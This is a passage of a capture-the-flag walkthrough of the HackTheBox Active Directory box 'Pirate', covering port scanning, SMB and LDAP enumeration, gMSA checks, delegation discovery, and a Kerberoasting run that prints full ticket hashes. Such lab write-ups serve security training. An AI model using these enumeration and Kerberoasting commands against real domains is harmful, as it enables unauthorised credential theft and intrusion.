HTB: Pirate
Pirate is a Windows assume-breach Active Directory box, providing credentials for a low-privileged domain account. Enumerating the domain, I’ll find pre-Windows 2000 machine accounts whose passwords match their hostnames, and one belongs to a group allowed to read group-managed service account passwords, which gets me a WinRM shell on the domain controller. From there I’ll tunnel to an internal web server and coerce its machine account into authenticating, then downgrade and relay that authentication to configure resource-based constrained delegation and take over that host as Administrator. Dumping its secrets exposes a user who can reset another account’s password, and that account has constrained delegation I’ll abuse with an SPN-jacking attack, moving a service principal name onto the domain controller and switching service classes to impersonate the domain administrator. In Beyond Root, I’ll show an alternate cross-session relay with RemotePotato0.
Box Info
Recon
Initial Scanning
nmap finds twenty-two open TCP ports:
oxdf@hacky$ sudo nmap -p- --reason --min-rate 10000 10.129.60.234
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-08-11 23:51 UTC
Nmap scan report for 10.129.60.234
Host is up, received echo-reply ttl 127 (0.020s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 126
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
2179/tcp open vmrdp syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49689/tcp open unknown syn-ack ttl 127
49690/tcp open unknown syn-ack ttl 127
49693/tcp open unknown syn-ack ttl 127
49696/tcp open unknown syn-ack ttl 127
49920/tcp open unknown syn-ack ttl 127
60147/tcp open unknown syn-ack ttl 127
Nmap done: 1 IP address (1 host up) scanned in 20.02 seconds
oxdf@hacky$ sudo nmap -p 53,80,88,135,139,389,445,464,593,636,2179,3268,3269,5985,9389,49667,49689,49690,49693,49696,49920,60147 -sCV 10.129.60.234
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-08-11 23:53 UTC
Nmap scan report for 10.129.60.234
Host is up (0.021s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-08-12 00:16:41Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-08-12T00:18:09+00:00; +22m53s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2026-08-12T00:01:35
|_Not valid after: 2027-08-12T00:01:35
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-08-12T00:18:09+00:00; +22m53s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2026-08-12T00:01:35
|_Not valid after: 2027-08-12T00:01:35
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2026-08-12T00:01:35
|_Not valid after: 2027-08-12T00:01:35
|_ssl-date: 2026-08-12T00:18:09+00:00; +22m53s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: pirate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-08-12T00:18:09+00:00; +22m53s from scanner time.
| ssl-cert: Subject: commonName=DC01.pirate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.pirate.htb
| Not valid before: 2026-08-12T00:01:35
|_Not valid after: 2027-08-12T00:01:35
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49689/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49690/tcp open msrpc Microsoft Windows RPC
49693/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
49920/tcp open msrpc Microsoft Windows RPC
60147/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2026-08-12T00:17:31
|_ start_date: N/A
|_clock-skew: mean: 22m52s, deviation: 0s, median: 22m52s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.82 seconds
The box shows many of the ports associated with a Windows Domain Controller. The domain is pirate.htb, and the hostname is DC01.
I’ll use netexec to make a hosts file entry and put it at the top of my /etc/hosts file:
oxdf@hacky$ netexec smb 10.129.60.234 --generate-hosts-file hosts
SMB 10.129.60.234 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)
oxdf@hacky$ cat hosts /etc/hosts | sponge | tee /etc/hosts | head -1
10.129.60.234 DC01.pirate.htb pirate.htb DC01
nmap shows that there is one additional hop to get to the webserver, which I can show more explicitly with lft:
oxdf@hacky$ sudo lft 10.129.60.234:88
Tracing .....T
TTL LFT trace to DC01.pirate.htb (10.129.60.234):88/tcp
1 10.10.14.1 19.4ms
2 [target open] DC01.pirate.htb (10.129.60.234):88 58.4ms
oxdf@hacky$ sudo lft 10.129.60.234:80
Tracing ....T
TTL LFT trace to DC01.pirate.htb (10.129.60.234):80/tcp
1 10.10.14.1 18.5ms
2 DC01.pirate.htb (10.129.60.234) 19.4ms
3 [target open] DC01.pirate.htb (10.129.60.234):80 28.3ms
That implies it’s running in a container or VM. The rest of the ports show TTL of 127, which matches the expected TTL for Windows one hop away.
nmap notes a clock skew, so I’ll want to make sure to run sudo ntpdate DC01.pirate.htb before any actions that use Kerberos auth.
Initial Credentials
HackTheBox provides the following scenario associated with Pirate:
As is common in real life pentests, you will start the Pirate box with credentials for the following account pentest / p3nt3st2025!&
The creds do work:
oxdf@hacky$ netexec smb DC01.pirate.htb -u pentest -p 'p3nt3st2025!&'
SMB 10.129.60.234 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.60.234 445 DC01 [+] pirate.htb\pentest:p3nt3st2025!&
They also work for LDAP, but not WinRM (unsurprisingly):
oxdf@hacky$ netexec ldap DC01.pirate.htb -u pentest -p 'p3nt3st2025!&'
LDAP 10.129.60.234 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP 10.129.60.234 389 DC01 [+] pirate.htb\pentest:p3nt3st2025!&
oxdf@hacky$ netexec winrm DC01.pirate.htb -u pentest -p 'p3nt3st2025!&'
WINRM 10.129.60.234 5985 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb)
WINRM 10.129.60.234 5985 DC01 [-] pirate.htb\pentest:p3nt3st2025!&
I’ll note that SMB signing is enabled, but LDAP is not.
I’ll want to prioritize things like:
- SMB shares
- Bloodhound (which includes most of the data from LDAP)
- ADCS
SMB - TCP 445
Shares
The pentest user can see to the default domain controller shares:
oxdf@hacky$ netexec smb DC01.pirate.htb -u pentest -p 'p3nt3st2025!&' --shares
SMB 10.129.60.234 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.60.234 445 DC01 [+] pirate.htb\pentest:p3nt3st2025!&
SMB 10.129.60.234 445 DC01 Enumerated shares
SMB 10.129.60.234 445 DC01 Share Permissions Remark
SMB 10.129.60.234 445 DC01 ----- ----------- ------
SMB 10.129.60.234 445 DC01 ADMIN$ Remote Admin
SMB 10.129.60.234 445 DC01 C$ Default share
SMB 10.129.60.234 445 DC01 IPC$ READ Remote IPC
SMB 10.129.60.234 445 DC01 NETLOGON READ Logon server share
SMB 10.129.60.234 445 DC01 SYSVOL READ Logon server share
There’s nothing interesting here.
Users
netexec finds seven users over SMB:
oxdf@hacky$ netexec smb DC01.pirate.htb -u pentest -p 'p3nt3st2025!&' --users
SMB 10.129.60.234 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.60.234 445 DC01 [+] pirate.htb\pentest:p3nt3st2025!&
SMB 10.129.60.234 445 DC01 -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.60.234 445 DC01 Administrator 2025-06-08 14:32:36 0 Built-in account for administering the computer/domain
SMB 10.129.60.234 445 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
SMB 10.129.60.234 445 DC01 krbtgt 2025-06-08 14:40:29 0 Key Distribution Center Service Account
SMB 10.129.60.234 445 DC01 a.white_adm 2026-01-16 00:36:34 0
SMB 10.129.60.234 445 DC01 a.white 2025-06-08 19:33:01 0
SMB 10.129.60.234 445 DC01 pentest 2025-06-09 13:40:23 0
SMB 10.129.60.234 445 DC01 j.sparrow 2025-06-09 15:08:44 0
SMB 10.129.60.234 445 DC01 Enumerated 7 local users: PIRATE
j.sparrow, a.white, and a.white_adm are the most interesting.
A RID brute force shows the same information, with less filtering:
oxdf@hacky$ netexec smb DC01.pirate.htb -u pentest -p 'p3nt3st2025!&' --rid-brute
SMB 10.129.60.234 445 DC01 Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:pirate.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.60.234 445 DC01 [+] pirate.htb\pentest:p3nt3st2025!&
SMB 10.129.60.234 445 DC01 498: PIRATE\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.60.234 445 DC01 500: PIRATE\Administrator (SidTypeUser)
SMB 10.129.60.234 445 DC01 501: PIRATE\Guest (SidTypeUser)
SMB 10.129.60.234 445 DC01 502: PIRATE\krbtgt (SidTypeUser)
SMB 10.129.60.234 445 DC01 512: PIRATE\Domain Admins (SidTypeGroup)
SMB 10.129.60.234 445 DC01 513: PIRATE\Domain Users (SidTypeGroup)
SMB 10.129.60.234 445 DC01 514: PIRATE\Domain Guests (SidTypeGroup)
SMB 10.129.60.234 445 DC01 515: PIRATE\Domain Computers (SidTypeGroup)
SMB 10.129.60.234 445 DC01 516: PIRATE\Domain Controllers (SidTypeGroup)
SMB 10.129.60.234 445 DC01 517: PIRATE\Cert Publishers (SidTypeAlias)
SMB 10.129.60.234 445 DC01 518: PIRATE\Schema Admins (SidTypeGroup)
SMB 10.129.60.234 445 DC01 519: PIRATE\Enterprise Admins (SidTypeGroup)
SMB 10.129.60.234 445 DC01 520: PIRATE\Group Policy Creator Owners (SidTypeGroup)
SMB 10.129.60.234 445 DC01 521: PIRATE\Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.60.234 445 DC01 522: PIRATE\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.129.60.234 445 DC01 525: PIRATE\Protected Users (SidTypeGroup)
SMB 10.129.60.234 445 DC01 526: PIRATE\Key Admins (SidTypeGroup)
SMB 10.129.60.234 445 DC01 527: PIRATE\Enterprise Key Admins (SidTypeGroup)
SMB 10.129.60.234 445 DC01 553: PIRATE\RAS and IAS Servers (SidTypeAlias)
SMB 10.129.60.234 445 DC01 571: PIRATE\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.129.60.234 445 DC01 572: PIRATE\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.129.60.234 445 DC01 1000: PIRATE\DC01$ (SidTypeUser)
SMB 10.129.60.234 445 DC01 1101: PIRATE\DnsAdmins (SidTypeAlias)
SMB 10.129.60.234 445 DC01 1102: PIRATE\DnsUpdateProxy (SidTypeGroup)
SMB 10.129.60.234 445 DC01 1103: PIRATE\IT (SidTypeGroup)
SMB 10.129.60.234 445 DC01 1104: PIRATE\a.white_adm (SidTypeUser)
SMB 10.129.60.234 445 DC01 3101: PIRATE\a.white (SidTypeUser)
SMB 10.129.60.234 445 DC01 3102: PIRATE\WEB01$ (SidTypeUser)
Most interesting in the WEB01$ machine account, which lines up nicely with the idea that the webserver is on another VM.
Website - TCP 80
Site
The website is the default IIS page:
Tech Stack
The HTTP response headers show just IIS:
HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Sun, 08 Jun 2025 20:38:47 GMT
Accept-Ranges: bytes
ETag: "3d769255b5d8db1:0"
Server: Microsoft-IIS/10.0
Date: Wed, 12 Aug 2026 07:46:22 GMT
Content-Length: 703
The main page loads as /iisstart.htm, as is common for the default install.
The 404 page matches the default IIS 404:
Directory Brute Force
I’ll run feroxbuster against the site:
oxdf@hacky$ feroxbuster -u http://pirate.htb
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://pirate.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 29l 95w 1245c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 334l 2089w 180418c http://pirate.htb/iisstart.png
200 GET 32l 55w 703c http://pirate.htb/
400 GET 6l 26w 324c http://pirate.htb/error%1F_log
[####################] - 15s 30003/30003 0s found:3 errors:0
[####################] - 15s 30000/30000 2045/s http://pirate.htb/
It finds nothing here.
LDAP - TCP 389 (and others)
Users
I can get the same user list over LDAP:
oxdf@hacky$ netexec ldap DC01.pirate.htb -u pentest -p 'p3nt3st2025!&' --users
LDAP 10.129.60.234 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP 10.129.60.234 389 DC01 [+] pirate.htb\pentest:p3nt3st2025!&
LDAP 10.129.60.234 389 DC01 Enumerated 7 domain users: pirate.htb
LDAP 10.129.60.234 389 DC01 -Username- -Last PW Set- -BadPW- -Description-
LDAP 10.129.60.234 389 DC01 Administrator 2025-06-08 14:32:36 0 Built-in account for administering the computer/domain
LDAP 10.129.60.234 389 DC01 Guest <never> 0 Built-in account for guest access to the computer/domain
LDAP 10.129.60.234 389 DC01 krbtgt 2025-06-08 14:40:29 0 Key Distribution Center Service Account
LDAP 10.129.60.234 389 DC01 a.white_adm 2026-01-16 00:36:34 0
LDAP 10.129.60.234 389 DC01 a.white 2025-06-08 19:33:01 0
LDAP 10.129.60.234 389 DC01 pentest 2025-06-09 13:40:23 0
LDAP 10.129.60.234 389 DC01 j.sparrow 2025-06-09 15:08:44 0
GMSA
I’m trying to get in the habit of checking for GMSA credentials immediately upon getting credentials for the domain, just to know what might be a target account.
oxdf@hacky$ netexec ldap pirate.htb -u pentest -p 'p3nt3st2025!&' --gmsa
LDAP 10.129.60.234 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP 10.129.60.234 389 DC01 [+] pirate.htb\pentest:p3nt3st2025!&
LDAP 10.129.60.234 389 DC01 Getting GMSA Passwords
LDAP 10.129.60.234 389 DC01 Account: gMSA_ADCS_prod$ NTLM: <no read permissions> PrincipalsAllowedToReadPassword: Domain Secure Servers
LDAP 10.129.60.234 389 DC01 Account: gMSA_ADFS_prod$ NTLM: <no read permissions> PrincipalsAllowedToReadPassword: Domain Secure Servers
There are two users with GMSA passwords set, and the Domain Secure Servers group is what can read them.
Kerberoast
I am able to Kerberoast two users:
oxdf@hacky$ netexec ldap pirate.htb -u pentest -p 'p3nt3st2025!&' --kerberoasting kerberoast.txt
LDAP 10.129.60.234 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP 10.129.60.234 389 DC01 [+] pirate.htb\pentest:p3nt3st2025!&
LDAP 10.129.60.234 389 DC01 Skipping disabled account: krbtgt
LDAP 10.129.60.234 389 DC01 Total of records returned 2
LDAP 10.129.60.234 389 DC01 sAMAccountName: a.white_adm, memberOf: CN=IT,CN=Users,DC=pirate,DC=htb, pwdLastSet: 2026-01-16 00:36:34.388000, lastLogon: 2025-06-09 16:03:37.380258
LDAP 10.129.60.234 389 DC01 $krb5tgs$23$*a.white_adm$PIRATE.HTB$pirate.htb\a.white_adm*$199396b8209e11c928bc9667e9e5d51c$3a8729973583aaf2006ff730307b200e2e516231131ce865a9365c1734b127619aa9c31041221fdc2695cc802e3c4b9991a243968484795310afc00d492ed6186b944648761d49861b4a630d1eb9d4b166b7bb70af33d834a406a7fc2ebd36d2a052dcabe14c94d5afd40bccf30f3d5f9b7cc720490d9b3acc09ed9b6c53c2e55b30be6698f1b65e4cf8e1a83efcc1ba51c2060444588d43733ac1d86b0ce1a1df64cd070c7f3d75298efe881c03c2b8cec57bf984673b782ebb97c1f2159d937bbf040374f35d2ed604b3487d599fa75ea558fc33288bb8b4563a64538932cbbefbbac62e96045e9120684288d0dc9aa5483bc8015a6ec1fe848dcfb906ca0d72b6b35decba2b024c5eb088d16cdc9cb284e1162ac6238a841c36930182d3734017e45aa6f8b2eeba699489c2118724f9c0e861df77ef57a7792369b325f5e22dd0c096ce6318e99288d738a6e35d171da3f614dd0147b0d8cee51e24a65eddc4ad4c05c2b9870817428ec792873f8619cfba3176a305b5113d3376650671a7f2bb72a0a8aa466d244f881201d7ed98f9acf7885755f5795ffe88aaf5bc44fbc09666605ca54df2aec7d9acd54fa84ad4ede4598de5bb0bb85257b9241d42f475a6376dcef61cae9d274ccdc5fe75492fc2be41648dcd22cad6bd4fa884117f1d1ff840462007a6b79e738e1a65a78203ef4354a1f7f0e0fb91194f5624ac8ed36b29a44e7382fb5c1bff8a07d57c81e6860e791bc94a84c88be73e990a59d60daaf477dab9ce648ebf9ff8913beb8e25796100dd5be200ffb711ecbdba82952dc607ef170bf92be7e89825f15effa95de06d590ea619db2450e78f8f0cc91c5dc1e947157664887ec17500e798aa20903fc8531f43dfa37e69ab349260e9838c45535bfa677b26ef4b4d24e8a0e91871bd9260015d77c99ee3238a52c17960e33eb9a326d1742aa90e24905002dea635f26b169953a0be1473bf31648e5992ee27c55e6f0867661fe206e3e38a647624a2125c4327668b9c889f3b4f0264d1dc6442180dc7e64cb274d6ecb0226691fbef963188bb1fef810990cd3cc4e58a8aaba068e3d9d058254f2c1fb0ba4568863122d1c0f0c66f476932fd43833bd6a705f90a27905cbfe2a8d94a0394d85984bb41941da055549ae00e19b3191dc2e38a5bc9e08e5bdd3fba40b67fe2e09fa92a02818b99ff4fdb7479293eb3048b2c119757fd9369e3089ea4a5c01caa129facd0c7d2448a12c1f3239491f98a50a95971dedc1bef2209b86e4f1b7dd707660a9e54d0d8a82f46a84da68b61c1daad3c78ccf2f3456460d63229ee04cc5fbf7dc1b1920a3d40779247218924f17531ea70e8140b5b71ccd61179f3a8ca7d18abd171e4bcdc23d7d607393ad45eb1743f0dddfba0c1025589078062119f45491491c933682c08195ab57e58d6c8dec1e30fe52258a75e340c
LDAP 10.129.60.234 389 DC01 sAMAccountName: gMSA_ADFS_prod$, memberOf: CN=Remote Management Users,CN=Builtin,DC=pirate,DC=htb, pwdLastSet: 2025-06-09 14:48:41.108220, lastLogon: 2026-08-12 00:13:57.823018
LDAP 10.129.60.234 389 DC01 $krb5tgs$18$hostgmsa_adfs_prod.pirate.htb$PIRATE.HTB$*pirate.htb\gMSA_ADFS_prod$*$0527105827c27465822fd3c6$06c308d5eed513f1e59c54f97833c609c787114fef64e77213194f54454a5f34d06a344934216a8d03014a641623ba0a03698f6f5f03c48ce14a51f288e609cb2ce3ac583a2d0fdb5c3f4731682e2f9264d08024903c6e3f8b1a1be471ca9ebb4f111569d0e6193e4c856cc51d4a09c8a711105b29ea7d415f971192c949a3d7c2fb4f1820b5631896ee3fcf9ab7eac008328cf09778e0ef550f7ce6053ddadfca847b93daca5d524db80ba17d2cdb3e28f4b3db84a30794568b81862603cd057ecd2d406a8d8fa7e7b33a2c2fb952475c95f928000624aabaf1228a2f2aeab848ea00339d56c6949d6b27328dfbdcf4dd8997edde3ab07bfbecd4b36c4a5ee74ec7dc4b4b968b4d07f3477e4189aa2a203e5e1f6e94f4e47628256c917dab88d2bda3ce5f908c8f119948170aaf483a9e45247bf07ee11cf291f725e416d561e67f954dc31dbdc858b8ca2f0580cd93cf91bd4c7b21ddbcb2b3d3a08b889de5e22002b39dc16037e7a4aa834ac5d1837d47d07cc1cfcc2b24269f83b7703a945cd9692a12587566c89798f87527413cd4066fc81bd9d8eef14fa32278bdb096054fe0222a0a98e3323cce6a44c37d4cca4f2259365fb7f57180f8c666b22ff25b7d9472133c888e33d42c55575416ab3bfbfbc11c62d9139d78daee4013e979833f71f55b71d61e553c1dafd30aa9167adff53f9c2ce1dea7ee1346ad7920d80334e7b423927305fe0a34df55079be3ce276fc7d4c4ed1b41b30ec83965067601040c0a7f36ace1c5823811a14fe81ffbd552051e2724426c617b8b64104e3b27ee26d9706b9c77f97e6d9792012b4c707832f6e4dc00b98345db7fce46c3abe56c280fd950dd96edf38af0dffa35e5c53a8b43941ecc89b04b3d210740412c373c334192afb1a626741508c33476eaa04d7198f4ab8c9673232ee96e8c26aa4878d9f5b5c1c8c4515df5ec29b25f35aee60bb82d5d991438a6fcbe25d2049089962040f788c8d16b397c887e8d526d1af6bffc2c3135314559012e1bec145801c5c8ae271ee03a2a48ed046fc19afd81b5e28244accbb7f14bca99c0285fddf3d35acbc6db0b58675ba50e4b31e0a853a36ec4613e17c85f6b3d49fc97611a57659f4c93881bfe7321bd0bff98880ba666d23aedc33983eca78530103fa17444ec8d6eaaa50339488d5c10bdc69e7f929c1d2b853c5560a33b02c84a3a5676d0d441dd5b5bce9209acd8b49f8dea2b4dd5a87ac8533e20ecefd69b8f4f4182654bb37d0b984e39b7c5f9f4c30e6b1748a0dde21a44eda0d242e36a74b3ec8c0005d7f71f7d283f5d98563cd362ffffc62b784a00fe12fa7b21efe33f8c9d8600da55f08d02c5140968f095267b4945cbaaa37443389c2762b2425f9d063e3c7fa82bdad28f58c0fecaadbb1753beb53ce6fe77faf00f848df16911357499b7b57d6c1d945347f4901d
Unfortunately for me, neither challenge cracks under rockyou.txt, which suggests it’s not meant to be cracked.
Machine Account Quota
The Machine Account Quota on the domain is set at 10:
oxdf@hacky$ netexec ldap DC01.pirate.htb -u pentest -p 'p3nt3st2025!&' -M maq
LDAP 10.129.60.234 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP 10.129.60.234 389 DC01 [+] pirate.htb\pentest:p3nt3st2025!&
MAQ 10.129.60.234 389 DC01 Getting the MachineAccountQuota
MAQ 10.129.60.234 389 DC01 MachineAccountQuota: 10
This means I can add machines as any user if need be.
BloodHound
I’ll collect BloodHound data using RustHound-CE:
oxdf@hacky$ rusthound-ce -d pirate.htb -u pentest -p 'p3nt3st2025!&' --zip
---------------------------------------------------
Initializing RustHound-CE at 04:03:58 on 08/12/26
Powered by @g0h4n_0
---------------------------------------------------
[2026-08-12T04:03:58Z INFO rusthound_ce] Verbosity level: Info
[2026-08-12T04:03:58Z INFO rusthound_ce] Collection method: All
[2026-08-12T04:03:58Z INFO rusthound_ce::ldap] Connected to PIRATE.HTB Active Directory!
[2026-08-12T04:03:58Z INFO rusthound_ce::ldap] Starting data collection...
[2026-08-12T04:03:58Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-08-12T04:03:59Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=pirate,DC=htb
[2026-08-12T04:03:59Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-08-12T04:03:59Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Configuration,DC=pirate,DC=htb
[2026-08-12T04:03:59Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-08-12T04:04:00Z INFO rusthound_ce::ldap] All data collected for NamingContext CN=Schema,CN=Configuration,DC=pirate,DC=htb
[2026-08-12T04:04:00Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-08-12T04:04:00Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=DomainDnsZones,DC=pirate,DC=htb
[2026-08-12T04:04:00Z INFO rusthound_ce::ldap] Ldap filter : (objectClass=*)
[2026-08-12T04:04:00Z INFO rusthound_ce::ldap] All data collected for NamingContext DC=ForestDnsZones,DC=pirate,DC=htb
[2026-08-12T04:04:00Z INFO rusthound_ce::api] Starting the LDAP objects parsing...
[2026-08-12T04:04:00Z INFO rusthound_ce::objects::domain] MachineAccountQuota: 10
⢀ Parsing LDAP objects: 6%
[2026-08-12T04:04:00Z INFO rusthound_ce::objects::enterpriseca] Found 12 enabled certificate templates
[2026-08-12T04:04:00Z INFO rusthound_ce::api] Parsing LDAP objects finished!
[2026-08-12T04:04:00Z INFO rusthound_ce::json::checker] Starting checker to replace some values...
[2026-08-12T04:04:00Z INFO rusthound_ce::json::checker] Checking and replacing some values finished!
[2026-08-12T04:04:00Z INFO rusthound_ce::json::maker::common] 10 users parsed!
[2026-08-12T04:04:00Z INFO rusthound_ce::json::maker::common] 62 groups parsed!
[2026-08-12T04:04:00Z INFO rusthound_ce::json::maker::common] 4 computers parsed!
[2026-08-12T04:04:00Z INFO rusthound_ce::json::maker::common] 1 ous parsed!
[2026-08-12T04:04:00Z INFO rusthound_ce::json::maker::common] 1 domains parsed!
[2026-08-12T04:04:00Z INFO rusthound_ce::json::maker::common] 2 gpos parsed!
[2026-08-12T04:04:00Z INFO rusthound_ce::json::maker::common] 75 containers parsed!
[2026-08-12T04:04:00Z INFO rusthound_ce::json::maker::common] 1 ntauthstores parsed!
[2026-08-12T04:04:00Z INFO rusthound_ce::json::maker::common] 1 aiacas parsed!
[2026-08-12T04:04:00Z INFO rusthound_ce::json::maker::common] 1 rootcas parsed!
[2026-08-12T04:04:00Z INFO rusthound_ce::json::maker::common] 1 enterprisecas parsed!
[2026-08-12T04:04:00Z INFO rusthound_ce::json::maker::common] 34 certtemplates parsed!
[2026-08-12T04:04:00Z INFO rusthound_ce::json::maker::common] 3 issuancepolicies parsed!
[2026-08-12T04:04:00Z INFO rusthound_ce::json::maker::common] .//20260812040400_pirate-htb_rusthound-ce.zip created!
RustHound-CE Enumeration Completed at 04:04:00 on 08/12/26! Happy Graphing!
I’ll start the BloodHound-CE Docker container and upload the data. The pentest user doesn’t have any interesting outbound control:
Poking around a bit more, there’s a PRE-WINDOWS 2000 COMPATIBLE ACCESS group, and it has three computers in it:
Pre-Windows 2000 Compatible Access is a Microsoft-defined builtin group that exists in every domain, and Authenticated Users being a member is the default when a domain is created with modern permissions. The DC being in this group isn’t super uncommon either. But the other computers are interesting.
EXCH01 doesn’t have any interesting permissions, but MS01 is a member of Domain Secure Servers:
As identified above, this gives it ReadGMSAPassword over two GMSA accounts. Both are in Remote Management Users:
Delegation
A quick thing to check for (and that I’ll use later) is delegation set up on the domain:
oxdf@hacky$ findDelegation.py -dc-ip 10.129.60.234 'pirate.htb/pentest:p3nt3st2025!&'
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies
AccountName AccountType DelegationType DelegationRightsTo SPN Exists
----------- ----------- ---------------------------------- --------------------- ----------
DC01$ Computer Unconstrained N/A Yes
a.white_adm Person Constrained w/ Protocol Transition http/WEB01.pirate.htb Yes
a.white_adm Person Constrained w/ Protocol Transition HTTP/WEB01 Yes
netexec can find the same info:
oxdf@hacky$ netexec ldap DC01.pirate.htb -u pentest -p 'p3nt3st2025!&' --find-delegation
LDAP 10.129.60.234 389 DC01 Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:pirate.htb) (signing:None) (channel binding:Never)
LDAP 10.129.60.234 389 DC01 [+] pirate.htb\pentest:p3nt3st2025!&
LDAP 10.129.60.234 389 DC01 AccountName AccountType DelegationType DelegationRightsTo
LDAP 10.129.60.234 389 DC01 ----------- ----------- ---------------------------------- ---------------------------------------
LDAP 10.129.60.234 389 DC01 a.white_adm Person Constrained w/ Protocol Transition http/WEB01.pirate.htb, HTTP/WEB01
